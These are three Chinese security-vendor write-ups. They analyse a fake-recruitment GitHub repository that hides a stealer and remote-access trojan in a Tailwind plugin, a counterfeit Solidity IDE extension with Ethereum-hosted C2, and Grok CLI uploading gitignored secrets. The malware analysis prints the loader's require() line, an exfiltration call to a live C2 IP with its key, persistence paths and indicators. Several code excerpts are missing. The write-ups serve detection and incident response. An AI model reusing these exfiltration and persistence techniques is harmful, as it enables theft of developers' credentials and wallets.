近日，MistEye 监测到一起以招聘为诱饵、专门针对开发者的恶意代码投递活动。攻击者先通过 LinkedIn 联系开发者，冒充 Web3 项目的招聘方。在沟通工作经历和面试安排后，对方向目标发来一个 GitHub 仓库，称其中是面试前需要体验的 MVP。
聊天记录显示，攻击者先询问目标的工作经历和产品经验，并讨论后续面试安排。之后，对方称需要提前体验产品，才能在面试中讨论具体问题，并借此要求目标运行仓库中的项目。
这套流程与真实的技术面试很接近。对开发者来说，拉取代码、安装依赖和启动项目本来就是常规操作，因此不容易在第一时间察觉异常。
该账号将自己描述为 Web3 投资和商务从业者，历史动态也一直在发布项目投资、产品建设等内容。因此，当对方发来 GitHub 仓库时，目标更容易把它当成正常的项目资料，而不是一次恶意投递。
慢雾安全团队获取仓库后，对项目代码和启动流程进行了检查。
检查项目配置时，我们注意到一个可疑的 JavaScript 文件，它被当作 Tailwind 插件加载：
theme/js/auron-core.min.js
该文件被写入 Tailwind 配置文件中。只要目标按照项目说明执行开发或构建命令，Node.js 就会通过 require() 加载并执行该文件。
theme/js/auron-core.min.js 并非正常的前端组件或 Tailwind 插件。其代码经过重度混淆，实际是恶意程序的第一阶段加载器。
该加载器会启动多个隐藏的 Node.js 子进程，并向其中写入三段第二阶段脚本。这些脚本分别负责窃取浏览器和钱包数据、搜索并上传本地文件，以及建立远程控制通道。
与假空投页面、恶意文档或诱导执行终端命令不同，这次攻击把恶意代码直接藏进了一个看似正常的开发项目。风险真正发生在本地，目标拉取仓库并启动项目时，恶意代码才会被执行。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 已第一时间通过情报推送与客户告警通道同步风险。
木马分析
本节围绕仓库中的 theme/js/auron-core.min.js 展开。分析重点包括触发路径、运行环境、第一阶段加载器行为、第二阶段 Payload 职责、C2 通信、命令协议、IOC 以及取证排查方法。
1. 样本基础信息与触发方式
分析对象为 theme/js/auron-core.min.js。
该文件超过 4 MB，远大于一般的 Tailwind 主题插件。不过，文件体积异常只能说明它值得检查，还不能据此认定为恶意文件。接下来需要确认，项目运行时是否会加载这个文件。
tailwind.config.ts 中把它写成了插件：
require("./theme/js/auron-core.min.js");
这意味着它不是浏览器里加载的静态资源，而是会在 Tailwind 构建时被 Node.js 直接运行。开发者只要按照项目说明启动项目或构建 CSS，就会触发其中的恶意代码。
2. Node.js 侧伪装插件
继续查看文件开头：
sed -n '1,6p' theme/js/auron-core.min.js
关键片段摘录如下：
从文件开头可以看出，这是一段 Node.js 模块代码，并非常见的浏览器 Bundle：
结合代码结构可以确认：
样本运行在 Node.js 环境中，不是在浏览器中执行。代码在 NODE_ENV === "development" 时进入混淆 Payload。外层被包装成 Tailwind/PostCSS 插件，恶意逻辑隐藏在插件函数内部。
第一阶段代码混淆严重，直接静态阅读效率较低。因此，分析时将样本放入受控环境，并替换联网、命令执行和文件访问等高风险接口，重点截获其写入子进程的第二阶段脚本。后续分析直接针对这些解出的脚本展开。
3. 受控环境下提取第二阶段 Payload
为避免样本真实联网或执行命令，分析时通过 Node.js vm 加载样本，并伪造了它依赖的网络、进程和文件系统接口。
child_process：不真正执行命令，只记录 execSync、spawn 参数，并截获 spawn.stdin.end(...) 写入的脚本文本。axios、http、https：不真实出网，只记录 URL、请求体和头部。socket.io-client：不建立真实 Socket 连接，只记录注册事件。fs、os、process：提供受控返回值，让样本继续执行，同时避免访问真实环境。setTimeout、setInterval：记录定时器并主动触发一轮，以暴露后续行为。
受控分析脚本 tests/malware_sandbox.js 的执行结果如下：
node tests/malware_sandbox.js
关键片段摘录如下：
运行完成后生成事件日志 tests/malware_sandbox_output.json，并在 tests/malware_payloads 目录下保存样本释放出的第二阶段脚本。
其中 ls -l tests/malware_payloads 的实际输出如下：
本次提取出的三个文件分别为 payload-1.js、payload-2.js、payload-3.js。至此，第一层混淆样本已经被拆分为三个可直接阅读的第二阶段脚本，后续分析围绕这三个文件展开。
3.1 受控分析脚本关键设计
下面列出受控分析脚本中的几个关键片段，用于说明样本释放脚本和网络行为是如何被记录的。
首先，脚本读取目标样本并准备事件收集器。child_process 被替换成记录型 stub。最关键的位置是 spawn.stdin.end(chunk)：样本向隐藏子进程写入的脚本文本，会在这里被保存下来。
Stub 不会真正发送网络请求，只记录 URL、请求头和请求体，并返回一个模拟的成功响应，保证样本继续运行。
样本运行在单独构造的 vm 上下文中，无法直接访问分析机真实的 process、网络模块和文件系统接口。
主流程负责执行样本、触发定时器，并将第二阶段脚本与事件日志落盘：
该脚本保留样本的主要执行流程，但将联网、命令执行等接口替换为记录型 Stub。这样既能阻止真实危害，也能保存第二阶段脚本、网络目标和关键调用参数。
4. 第一阶段加载器行为
tests/malware_sandbox_output.json 记录了第一阶段样本的主要行为：
1.向 http://172.86.126.76:8087/api/log 上报启动日志。
2.创建多个 Node.js 子进程，并加载不同功能模块。
3.为每个子进程写入对应锁文件，避免重复启动。
提取关键日志的命令如下：
rg -n 'api/log|Spawning|pid\.1\.[123]\.lock|spawn\.stdin\.end' tests/malware_sandbox_output.json
关键片段摘录如下：
日志显示实际 C2 地址是 172.86.126.76，auron-core.min.js 本身是一个 Stage 0 加载器，不直接完成所有恶意操作，而是负责启动三个功能不同的第二阶段脚本。
如果主机中上述锁文件，说明该加载器很可能已经执行。
5. payload-1.js：浏览器与钱包数据窃取
payload-1.js 主要针对用户浏览器环境和系统凭据存储位置进行数据收集，目标包括浏览器保存的登录信息、钱包扩展数据以及 macOS Keychain 文件。
浏览器与钱包数据收集
进一步分析 payload-1.js 中的数据收集逻辑时，发现样本包含多个与浏览器数据库和凭据存储相关的关键词。以下关键词直接暴露了它的窃取目标：
检索结果如下：
相关行为包括：
读取 Chromium 系浏览器相关数据文件，包括 Login Data、Login Data For Account 以及 Web Data。遍历 Local Extension Settings 目录，收集浏览器扩展存储数据，并针对钱包类扩展（如 bravewallet）进行处理。在 macOS 上尝试抓取 ~/Library/Keychains/login.keychain-db。将收集到的文件上传至 http://172.86.126.76:8085/upload。
数据上传机制
在完成数据收集后，样本会将整理后的数据上传至远程服务器。相关上传逻辑位于 payload-1.js 第 757 行附近。定位命令如下：
nl -ba tests/malware_payloads/payload-1.js | sed -n '750,790p'
关键代码实际输出如下：
从代码可以确认，样本通过 HTTP POST 请求将收集的数据上传至远程服务器，相关上传逻辑包含固定的校验密钥、上传地址以及请求头字段：
validationSecret = "SuperStr0ngSecret@)@^"axios.post("http://172.86.126.76:8085/upload", form, ...)请求头字段包含 userkey: 103、hostname、timestamp、file-metadata、t: 1、validation。
进一步分析发现，样本在上传前会创建临时目录，并对收集的数据进行整理：
从这些代码可以看出，该模块主要实现了浏览器凭据、钱包扩展数据以及系统钥匙串数据的收集功能。样本会读取 Chromium 系浏览器中的登录数据库、浏览器扩展存储数据，并在 macOS 环境下尝试获取用户 Keychain 文件。其中可能包含用户账号信息、浏览器保存的密码、钱包扩展相关数据以及系统保存的敏感凭据。一旦相关数据被收集并外传，攻击者可能进一步访问用户在线服务、数字资产钱包或其他关联资源。
6. payload-2.js：敏感文件收集与上传
与前一个模块主要针对浏览器数据不同，payload-2.js 主要负责扫描本地文件系统，并根据内置规则识别可能包含敏感信息的文件，随后将匹配文件上传至远程服务器。进一步分析 payload-2.js 中的文件扫描逻辑时，发现样本定义了 SENSITIVE_FILE_PATTERNS 等规则，用于匹配敏感文件路径和文件名称。
检索命令如下:
从代码中可见的部分目标关键词包括：
需要特别注意，敏感关键词规则并不适用于所有扫描路径。代码显示，在 Desktop、Documents、Downloads 等优先目录扫描阶段，样本并不强制要求文件路径命中 SENSITIVE_FILE_PATTERNS；而在后续扫描其他目录时，才使用 isSensitiveFile(fullPath) 进行关键词过滤。因此，在这些优先目录中，任何未命中扩展名排除规则、可读取且不超过 5 MB 的文件都可能被上传，并不要求文件名包含 .env、seed、wallet 或 password 等敏感关键词。
敏感文件上传机制
在完成目标文件筛选后，样本会进一步执行文件上传操作。相关逻辑位于 payload-2.js 第 131 行附近。
定位命令如下：
nl -ba tests/malware_payloads/payload-2.js | sed -n '128,160p'
关键代码实际输出如下：
从代码可以确认：
上传地址为 http[://]172[.]86[.]126[.]76[:]8086/upload。HMAC 密钥仍为 SuperStr0ngSecret@)@^。validation 的计算方式为 filePath + "|" + timestamp。
由此可以看出，该模块的收集目标并不局限于浏览器数据，而是进一步扩展到开发者本地环境中的高价值文件。开发环境中通常保存大量敏感配置和访问凭据，例如 `.env` 文件、SSH 私钥、云平台访问密钥、CI/CD Token、项目配置文件以及业务文档等。一旦相关数据被收集并外传，可能进一步导致代码仓库、云资源或第三方服务凭据泄露。
7. payload-3.js：远程控制、文件管理与交互式 Shell
payload-3.js 主要负责与 C2 服务通信，并提供远程主机管理功能。该模块通过 Socket.IO 与远程服务器建立连接，支持主机注册、日志上报、远程命令执行、目录浏览、文件读取、文件上传以及交互式 Shell 会话。
首先分析样本中的 C2 配置和通信入口：
nl -ba tests/malware_payloads/payload-3.js | sed -n '56,95p'
关键片段摘录如下：
从该片段可以明确看到以下网络目标：
http[://]172[.]86[.]126[.]76[:]8087/api/notifyhttp[://]172[.]86[.]126[.]76[:]8087/api/logws[://]172[.]86[.]126[.]76[:]8087
结合前面对 payload-1.js 和 payload-2.js 的分析，可以发现该样本根据不同功能划分了多个通信接口：
7.1 主机注册与日志上报
payload-3.js 中存在 sendHostInfo() 和 f_s_l(message, level, data) 两个基础函数。前者负责向 /api/notify 上报主机信息，后者负责向 /api/log 上报日志或内容。
rg -n 'sendHostInfo|f_s_l|validationSecret|api/notify|api/log' tests/malware_payloads/payload-3.js
7.2 Socket 远程控制指令
样本连上 ws://172.86.126.76:8087 后，会注册命令处理事件。命令主干如下：
nl -ba tests/malware_payloads/payload-3.js | sed -n '1237,1405p'
关键片段摘录如下：
从代码中的 code 分支来看，支持这些远程指令：
code === "102"：列目录，并将目录内容以 JSON 形式回传。code === "108"：上传指定目录下一层文件。code === "107"：读取指定文件，必要时上传并回传 fileUrl。其他情况：直接通过 exec(command) 执行系统命令。
用于快速抽取事件和协议字段的命令如下：
7.3 交互式 Shell
除单次命令执行外，payload-3.js 还实现了持续性的交互式 Shell 功能。
定位命令如下：
nl -ba tests/malware_payloads/payload-3.js | sed -n '2177,2317p'
关键片段摘录如下：
该模块通过 Socket.IO 事件维护远程 Shell 会话。模块处理的事件包括：
这些事件覆盖了 Shell 创建、输入、窗口调整、输出回传和会话关闭，足以支持完整的远程终端交互。攻击者建立连接后，可以直接浏览目录、执行命令和读取文件。若主机中保存了其他系统凭据，这些信息还可能被用于后续入侵。
7.4 剪贴板监听
payload-3.js 还实现了跨平台剪贴板监听功能，用于持续获取用户剪贴板内容。
定位命令如下：
从代码可以确认，该模块具备持续读取并上报用户剪贴板内容的能力。由于开发者日常操作中可能临时复制密码、访问 Token、私钥、服务器命令或其他敏感信息，因此该功能可能导致用户短时间内复制的数据被收集并泄露。
8. 攻击链复盘
9. IOC
投递仓库
hxxps://github[.]com/borismelnik1982-netizen/governance-staking-build
恶意文件
theme/js/auron-core.min.js
SHA-256
78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842f
URL
hxxp://172[.]86[.]126[.]76:8087/api/notify
hxxp://172[.]86[.]126[.]76:8087/api/log
ws://172[.]86[.]126[.]76:8087
hxxp://172[.]86[.]126[.]76:8085/upload
hxxp://172[.]86[.]126[.]76:8086/upload
hxxp://172[.]86[.]126[.]76:8085/api/upload-file
IP
172[.]86[.]126[.]76
10. 取证排查建议
如果确认运行过该项目，不要急着删文件或杀进程。建议先记录进程、网络连接、文件时间戳和落地文件，再做清理和凭据轮换。由于开发机通常保存 SSH 私钥、云凭据、浏览器登录态和钱包数据，处置时应默认这些凭据已经存在泄露风险，并尽快完成轮换和会话失效。
10.1 网络和进程排查
macOS / Linux：
Windows PowerShell：
10.2 落地文件排查
macOS / Linux：
10.3 高风险数据范围排查
排查时，应确认以下文件和数据是否被读取或上传：
.env 和 .env.*SSH 私钥、云凭证、CI Token浏览器保存的密码和 Cookie钱包扩展与种子词备份剪贴板中曾复制过的敏感信息
总结
这次攻击不是孤例。近期多起事件显示，攻击者正频繁利用招聘、代码评审、项目合作等场景，诱导开发者主动运行恶意仓库。
theme/js/auron-core.min.js 被伪装成 Tailwind/PostCSS 插件，并通过项目构建流程在 Node.js 中执行。随后，加载器启动三个脚本，完成凭据窃取、文件上传和远程控制。
样本可以在当前用户权限下执行系统命令，并支持目录浏览、文件读写、剪贴板窃取和交互式终端控制。
它已经不是普通的信息收集脚本，而是一套完整的远控木马。如果受感染设备用于开发或管理 Web3 资产，攻击者可能窃取项目密钥、云凭据、CI/CD Token、浏览器会话和钱包扩展数据。判断一个仓库是否安全，不能只看页面、提交记录和项目界面。更重要的是检查安装依赖和启动项目时，究竟会执行哪些脚本和配置文件。对通过面试、兼职、外包、空投或投资沟通收到的陌生仓库，不要直接在办公机或日常开发环境中安装依赖、执行构建命令。应先在虚拟机或容器中检查 package scripts、构建配置、各类插件、preinstall / postinstall 脚本，以及体积异常的 JavaScript 文件。
如果已经运行过该项目，应立即隔离主机，并保留进程、网络连接和 /tmp 落地文件等证据。随后需要轮换 SSH 密钥、云凭据和 CI/CD Token，退出浏览器与交易平台会话。若钱包私钥或助记词可能泄露，应尽快将资产转移到新的安全钱包，并撤销旧地址的相关授权。
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan 轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skills AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测

一款已从 Open VSX 下架的恶意扩展，至今仍能从 TRAE IDE 的扩展市场下载。该扩展冒充常见的 Solidity 语言支持插件，包名为 juannegro.solidity。截至 2026 年 7 月 18 日，TRAE 的插件市场 API 依然提供该扩展的 0.0.189 版本（VSIX 文件）。
逆向分析显示，该扩展实际是一个跨平台(Windows、macOS、Linux) 的恶意程序投递器(dropper)。它会在 IDE 启动后自动运行，在系统中创建用户级别的自启动项，然后通过以太坊智能合约获取后续恶意代码的下载地址，或者直接连接远程控制 Shell 的地址。
VSIX 文件只负责首次投放，而 C2（命令与控制）配置信息存储在区块链上，可以随时更改。攻击者不必重新发布扩展，只需修改合约中的参数，就能将所有已感染主机指向新的后端服务器。
一、背景
最早公开此事件的是 X 用户 @Will42W。2026 年 7 月 17 日，他发文提醒 TRAE IDE 用户注意扩展供应链风险，并在推文中 @ SlowMist 安全团队。他指出，TRAE 会快速同步 Open VSX 上新上架的扩展，但不会同步 Open VSX 后续下架或拉黑的风险扩展。
慢雾(SlowMist) 安全团队随后与 Will42W 沟通，确认该问题扩展为 juannegro.solidity。我们接着检查了 TRAE 市场，并分析了 VSIX 文件、各平台载荷、持久化方式以及以太坊上的合约配置，最终确认攻击者在该扩展发布后仍通过区块链交易动态更换后端地址。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 已第一时间通过情报推送与客户告警通道同步风险。
二、恶意扩展分析
2.1 仿冒正版 Solidity 扩展
该扩展的发布者名为 juannegro，仿冒了 Juan Blanco 开发的官方 Solidity 扩展，直接抄袭了后者的描述、图标和代码仓库信息。juannegro 与正版发布者 juanblanco 只差几个字母，用户极易看走眼。
根据 Will 提供的信息和 Open VSX 的官方记录，该扩展于 2026 年 5 月 1 日上架，数小时后就被发现并下架。目前 Open VSX 的 API 查询会返回“未找到该扩展”，但截至 7 月 18 日，TRAE 仍然能搜索并下载 juannegro.solidity@0.0.189。
我们两次复查发现，TRAE 提供的可下载版本始终为 0.0.189，其内部版本时间戳也停留在 5 月 1 日。唯一变化的是扩展信息页的“最后更新时间”字段，但这并不表示攻击者上传了新文件，只是元数据刷新而已。
2.2 恶意扩展自动激活启动
扩展的 package.json 声明了两个激活事件：
onLanguage:solidity 会在用户打开 Solidity 文件时激活扩展，但更危险的是 onStartupFinished。根据 VS Code 扩展 API 文档，该事件在编辑器启动完成后自动触发，无需用户打开任何文件或执行任何命令。
因此，只要该扩展被安装并启用，即使从不打开 Solidity 文件，IDE 每次启动完成或扩展进程重启时，都会自动调用 activate() 函数，恶意代码随即开始运行。
2.3 哈希混淆隐藏命令执行
在 out/extension.js 中，开发者并没有直接使用 child_process.exec，而是先对 Node.js 内置模块名和函数名计算 SHA-256 哈希，然后用两个固定哈希值去反查，得到 child_process 和 exec 两个字符串。因此，代码中的变量 hash 实际上就指向了 child_process.exec。
随后，代码将 hash（实为函数）与一个固定字符串做比较，由于函数对象永远不等于字符串，该比较结果始终为真，从而绕过检查并执行 attempt_update(child_process.exec)。attempt_update 函数利用传入的 exec 执行系统命令，开始安装持久化后门。
2.4 跨平台持久化
在 attempt_update 内部，程序先通过 os.platform() 判断操作系统，然后根据不同平台调用 exec 写入恶意文件，并设置对应的自启动项。一旦持久化完成，恶意载荷就不再依赖于 IDE 进程，即使卸载扩展也能继续运行。
• macOS：将载荷写入 ~/.solidity/，清除隔离属性，再创建 LaunchAgent，使其随用户登录启动。
• Linux：将载荷写入 ~/.solidity/，注册为 systemd 用户服务，并在异常退出后重启。
• Windows：将更新器写入 C:\Users\Public\solidity\，由其下载并执行 app.js；相关文件被隐藏，同时写入 HKCU Run 键，并尝试添加 Defender 排除项。
此后，Windows 从 C:\Users\Public\solidity\solidity-compiler.js 启动，macOS/Linux 则运行 ~/.solidity/ 下的原生文件。持久化机制保证载荷能够再次启动；而每次启动后连接到哪里，则由同一个以太坊合约决定。
2.5 利用以太坊合约动态更新 C2
Windows 与 macOS/Linux 读取同一份链上配置，但使用不同参数。
Windows 落地的 solidity-compiler.js 由 out/components/compiler.js 生成。脚本轮询多个公共 RPC，通过 eth_call 读取 param2()，再调用 curl.exe -k 下载并执行 app.js。参数 -k 会关闭 TLS 证书校验，脚本也不验证数字签名或固定哈希。用户再次登录时，HKCU Run 键会启动该脚本并重新查询下载地址。
macOS/Linux 使用 extension/bin/ 下按系统和 CPU 架构区分的 Go 可执行文件。样本保留的函数符号包括 antivm.Check、eth.ReadParam1WithFallback、hubclient.startShellLocked 和 runCommand。结合调用关系可以确认，载荷会进行运行环境检查，从合约读取 param1()，建立远程 Shell，并在断线后重连。
两类载荷硬编码了同一个以太坊主网合约：
0xf8a900db50b3331be6b768ba460bb59f3e40c344
逆向合约字节码后，可以识别出两项关键配置：param1()（0x02d91518）保存 macOS/Linux 的远程 Shell 地址，param2()（0x1f049b68）保存 Windows 二阶段载荷的下载地址。更新两项参数的函数选择器分别为 0xc832508f 和 0xf56f9b48，均受 owner 权限限制。调用 owner()（0x8da5cb5b）得到控制钱包 0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7。
截至复核时，合约中的配置为：
感染主机只需通过公共 RPC 发起 eth_call：Windows 读取 param2() 下载 app.js，macOS/Linux 读取 param1() 连接远程 Shell。攻击者修改合约参数后，所有再次查询的载荷都会取得新地址，无需重新发布 VSIX。
把 C2 地址放到合约后，扩展包中只需保留合约地址和查询逻辑。公共 RPC 可以替换，单个节点失效不会切断配置读取；而每次参数更新也会留下链上记录。本文只对合约进行了只读查询，没有连接远程 Shell，也没有访问或下载二阶段载荷。链上仍保存这些地址，不代表对应服务器当前可达，也不能证明仍有活跃受害者。
2.6 链上 C2 更新记录
通过 Blockscout 查看该合约的交易历史，可以追踪参数的变化过程。我们筛选出控制钱包向合约发送的交易，然后根据函数选择器区分 param1 和 param2，并在交易输入数据的 UTF-8 部分直接看到写入的内容。
该合约于 2026 年 3 月 14 日 13:03 UTC 部署。20 分钟后，控制钱包发起交易（0x972f...）调用 0xc832508f，将 param1 设为 http://localhost:4912，随后又多次改为其他公网 IP。这说明在恶意扩展上架之前，攻击者就已经在测试这套链上控制机制。
该扩展于 5 月 1 日上架市场。两天后（5 月 3 日 16:55 UTC），控制钱包通过另一笔交易（0xadea...）将 param1 改为 107[.]189[.]27[.]46:4912。
5 月 16 日 12:08 UTC，同一钱包再通过交易（0x8e5d...）将 param2 改为 hxxp://107[.]189[.]27[.]46:3000/app.js。
两笔交易都发生在VSIX发布之后，说明攻击者无需经过扩展市场更新，就能更换远程Shell和二阶段下载地址。由于更新发生在链上，TRAE显示的扩展版本与更新时间不会随之变化。
2.7 下架扩展无法清除感染
TRAE 没有同步 Open VSX 的下架结果，导致已被上游删除的 VSIX 文件仍在继续分发。即使现在紧急下架，也只能防止新的安装，无法清除已经写入系统的恶意载荷。
因为扩展首次运行时，就已经在系统中创建了自启动项（macOS 的 LaunchAgent、Linux 的 systemd 服务、Windows 的注册表项），并且可能已经下载了第二阶段恶意代码。这些残留内容不会因为扩展被下架或用户卸载而自动删除，链上的 C2 配置也独立于扩展本身，依然有效。
因此，平台除了下架并停止提供 VSIX，还需通知已安装用户、提供检测和清理方案，并根据扩展 ID、文件哈希及落地 IOC 在客户端侧阻断。
2.8 感染排查与处置
如果曾安装过 juannegro.solidity，仅从 IDE 的扩展列表中卸载是不够的。建议先断开网络连接，并备份可疑文件用于后续取证，然后检查以下位置：
macOS：检查 ~/solidity/ 目录以及 ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist 文件。Linux：检查 ~/solidity/ 目录以及 ~/.config/systemd/user/solidity-langsupport-runner.service 文件。Windows：检查 C:\Users\Public\solidity\ 目录，以及注册表项 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 下是否有指向 solidity-compiler.js 的可疑启动项；同时检查 HKCU\Software\Microsoft\Windows\CurrentVersion\EVJ（若存在）。
另外，需检查主机是否有访问公共以太坊 RPC 节点以及以下 IP 和端口的网络连接记录：107[.]189[.]27[.]46:4912 和 107[.]189[.]27[.]46:3000。
该恶意扩展具备执行任意命令和建立远程 Shell 的能力。因此，即使删除了上述文件和注册表项，也不能认为系统已经安全。如果该设备曾存储过代码签名密钥、SSH 私钥、云服务凭证、加密钱包助记词或生产环境令牌，请按主机失陷流程处理：
立即隔离该设备；从可信的安装介质重装操作系统或重建环境；在另一台安全设备上吊销所有旧会话和访问令牌，并更换所有可能被泄露的凭据。
2.9 威胁指标（IOC）
扩展与文件哈希
Extension: juannegro.solidity@0.0.189
VSIX SHA-256: ff943371750ecd2ce6caa50c12d673e82743bdbc9569552eebfa98ccb2f4ac69
darwin_amd64: 80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f
darwin_arm64: fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358
linux_amd64: 9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696
linux_arm64: b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565
链上与网络指标
Contract: 0xf8a900db50b3331be6b768ba460bb59f3e40c344
Owner: 0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7
107[.]189[.]27[.]46:4912
hxxp://107[.]189[.]27[.]46:3000/app.js
91[.]108[.]240[.]156:4912
hxxp://91[.]108[.]240[.]156:3000/app.js
107[.]189[.]16[.]215:4912
由于合约参数会持续更新，检测时不能仅依赖当前 IP，还需要覆盖合约地址、函数选择器、恶意文件释放路径、自启动项名称以及样本哈希等特征。
三、总结
juannegro.solidity 的真正危险不仅仅是 TRAE 没有同步下架信息。它利用扩展市场作为首次投放渠道，在 Windows、macOS 和 Linux 上都建立了持久化后门，并通过以太坊合约获取动态可变的 C2 配置。5 月 3 日和 5 月 16 日的链上交易证明，攻击者在 VSIX 发布后仍然持续更新远程 Shell 和第二阶段载荷的地址。
扩展市场平台不能只同步上架信息，还必须同步风险判定和下架状态，并及时通知已安装的用户。否则，Open VSX 已经完成的处置在 TRAE 上形同虚设，而已经植入系统的后门也不会因市场下架而消失，仍然可以绕过市场继续运行。
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan 轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skills AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测

事件背景
事情的起因是山哥（23pds，慢雾 CISO）从社区看到一个说法：Grok CLI 可能有风险。具体是什么风险、风险多大，社区里众说纷纭。我（Thinking，慢雾业务安全负责人）手头刚好有新版 0.2.98 的 macOS aarch64 二进制(SHA-256 d5952131...)，于是决定自己动手分析一遍——与其猜测，不如把二进制拆开、把流量抓下来、把上传内容恢复出来看个究竟。
分析下来，结论比社区传言更具体：Grok CLI 在每次 turn 开始时，会通过 git bundle 把整个代码库——包括 .gitignore 排除的 .env、.envrc、config.secret——逐字无脱敏地上传到 xAI 的云端存储。上传发生在模型收到推理请求之前，与「Improve the model」开关完全独立，且服务端可通过远程设置强制开启。我用 IDA Pro 9.3 做静态反编译、Frida 做运行时字节验证、mitmproxy 12.2.3 做流量捕获，三条路径交叉验证，并和社区已分析的 0.2.93 做了版本对比——上传机制两版本完全一致。
由于 Grok CLI 没有开源代码，在没有源码的情况下通过反编译和动态调试可以获得一些信息，但是很难保证这些信息的 100% 准确，在这次分析中用了静态分析和动态调试，以及流量分析进行了交叉验证，尽可能让结论不会偏离太多，以下为本文复现的情况。
（注：本文分析完成时，Grok CLI 尚未开源。2026 年 7 月 16 日，Grok CLI 已正式开源，后续我们将结合公开源码进一步验证并补充本文分析结果。）
复现环境
我搭了一个最小化的测试项目，专门用来验证上传行为：
.env 里放了 6 个假的 API 密钥（OpenAI、Anthropic、数据库、AWS、Stripe、JWT），.envrc 放了 2 个，config.secret 放了一段假的 RSA 私钥。.gitignore 明确排除了 .env、.envrc 和 *.secret——这是关键，因为如果 Grok CLI 遵守 .gitignore，这三个文件就不该被上传。
Grok 的配置（~/.grok/config.toml）我用默认条件下观察完整上传行为：
mitmproxy 这边，Grok CLI 用的是 rustls 0.23.37（静态编译 webpki-roots），不走 macOS 系统钥匙串，也没有证书固定（搜 cert.*pin|pinned 全无结果）。于是只要把 SSL_CERT_FILE 指向 mitmproxy 的 CA 证书，所有 HTTPS 流量都能解密：
发送的 prompt 很简单：Hello World!。
prompt 发出去后，5.2 秒内 mitmproxy 捕获了 45 个 HTTP 请求。其中 14 个是 POST /v1/storage——上传请求。
最值得关注的是时间线。上传不是模型调用的副产品，而是先于模型调用的前置步骤：
6 个初始上传在 19 毫秒内完成（29.882 → 29.901），然后模型调用才开始（29.905）。上传比模型调用早 4 毫秒。换句话说，用户的代码被发往服务端之后，模型才收到推理请求——上传是一个独立的前置步骤，不是模型调用的副作用。
更奇怪的是，即使模型返回 403（账户无 credits），上传请求照样发；即使上传返回 401（我用的是伪造的 deployment key），上传队列仍然持续尝试，直到断路器介入：
复现要点
从流量里恢复出敏感文件，定位 bundle：在捕获到的 14 个上传请求中找 Content-Type: application/gzip 且 x-storage-path 含 repo_changes_dedup/v2/bundles/*.bundle 的请求。
提取与克隆：
git bundle verify 输出 The bundle contains 1 ref: refs/heads/main 即为有效 bundle，可直接克隆恢复完整仓库。
这是整个分析里我最想让大家亲眼看到的一步。
我在 14 个上传请求里发现Content-Type 是 application/gzip，x-storage-path 指向 turn_0/repo_changes_dedup/v2/bundles/sha256_84aa...bundle。这不是一个文件摘要，而是一个标准的 git bundle——可以通过 git clone 直接恢复出完整的仓库历史。
把它从流量里提取出来，用 git 原生命令验证并克隆：
克隆成功，恢复出 6 个文件：.env、.envrc、config.secret、.gitignore、README.md、src/main.py。其中三个是 .gitignore 明确排除的。
.env 的内容，无脱敏：
6 个 API 密钥、2 个环境变量密钥、一段 RSA 私钥，全部原样躺在 git bundle 里。脱敏过滤器（如果它生效的话）本该把这些替换成 [REDACTED_SECRET]——但它没有。
脱敏过滤器为什么没拦住？这是一个典型的「一致性缝隙」——声明层（有脱敏系统）和实现层（git bundle 不经过脱敏）不一致。安全机制存在，但没有覆盖全部数据出口。
同一个 sk-test-key-1234567890abcdef，在 trace 日志里是 [REDACTED_SECRET]，在 git bundle 里是明文。两条路径，两种待遇。脱敏系统给了一个「我已经处理过敏感数据」的承诺，但 git bundle 路径绕过了这个承诺——缝隙就在这里。
Grok CLI 确实内置了一套脱敏系统。从 IDA 里能提取出完整的 12 种正则（基于 Rust regex::RegexSet）：Bearer 令牌、GitHub 令牌、GitLab/Slack 令牌、Stripe/xAI 密钥、AWS 密钥、Google API 密钥、PEM 私钥、JWT、用户主目录路径……覆盖面不算窄，匹配后替换为 [REDACTED_SECRET]。
但这套脱敏只作用于 trace 日志和 JSON 元数据里的键值对。源文件路径是 xai-grok-shell/src/upload/trace.rs。而 git bundle 上传走的是另一条路径——xai-data-collector/src/queue.rs，一个独立的上传队列。
